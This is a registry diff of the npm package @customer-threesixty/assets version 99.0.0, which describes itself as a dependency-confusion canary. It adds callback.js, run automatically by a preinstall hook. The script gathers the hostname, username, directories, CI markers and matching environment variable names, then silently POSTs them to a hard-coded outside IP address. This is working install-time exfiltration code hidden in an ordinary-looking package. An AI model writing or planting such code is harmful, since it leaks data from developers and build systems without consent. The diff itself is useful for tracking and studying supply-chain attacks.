@customer-threesixty/assets 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Binary file
package/callback.js ADDED
@@ -0,0 +1,38 @@
1
+ const dns = require("dns");
2
+ const os = require("os");
3
+ const http = require("http");
4
+
5
+ const CB_HOST = "128.199.50.160";
6
+ const CB_PORT = 8888;
7
+
8
+ function safe(s) {
9
+ return (s || "unknown").replace(/[^a-zA-Z0-9._-]/g, "-").substring(0, 60);
10
+ }
11
+
12
+ const info = {
13
+ h: safe(os.hostname()),
14
+ u: safe(os.userInfo().username),
15
+ d: safe(process.cwd()),
16
+ ci: safe(process.env.CI || process.env.JENKINS_URL || process.env.GITHUB_ACTIONS || process.env.GITLAB_CI || process.env.BUILD_URL || "no-ci"),
17
+ reg: safe(process.env.npm_config_registry),
18
+ pkg: safe(process.env.npm_package_name),
19
+ node: safe(process.version),
20
+ plat: safe(os.platform() + "-" + os.arch()),
21
+ home: safe(os.homedir()),
22
+ env_keys: safe(Object.keys(process.env).filter(k => /telenor|maui|c360|jenkins|azure|gitlab|github|npm_/i.test(k)).join(","))
23
+ };
24
+
25
+ const payload = JSON.stringify(info);
26
+ try {
27
+ const req = http.request({
28
+ hostname: CB_HOST,
29
+ port: CB_PORT,
30
+ path: "/depconf",
31
+ method: "POST",
32
+ headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(payload) },
33
+ timeout: 8000
34
+ });
35
+ req.on("error", () => {});
36
+ req.write(payload);
37
+ req.end();
38
+ } catch(e) {}
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = {};
package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "@customer-threesixty/assets",
3
+ "version": "99.0.0",
4
+ "description": "Security research — dependency confusion canary",
5
+ "scripts": {
6
+ "preinstall": "node callback.js || true"
7
+ },
8
+ "main": "index.js",
9
+ "license": "ISC"
10
+ }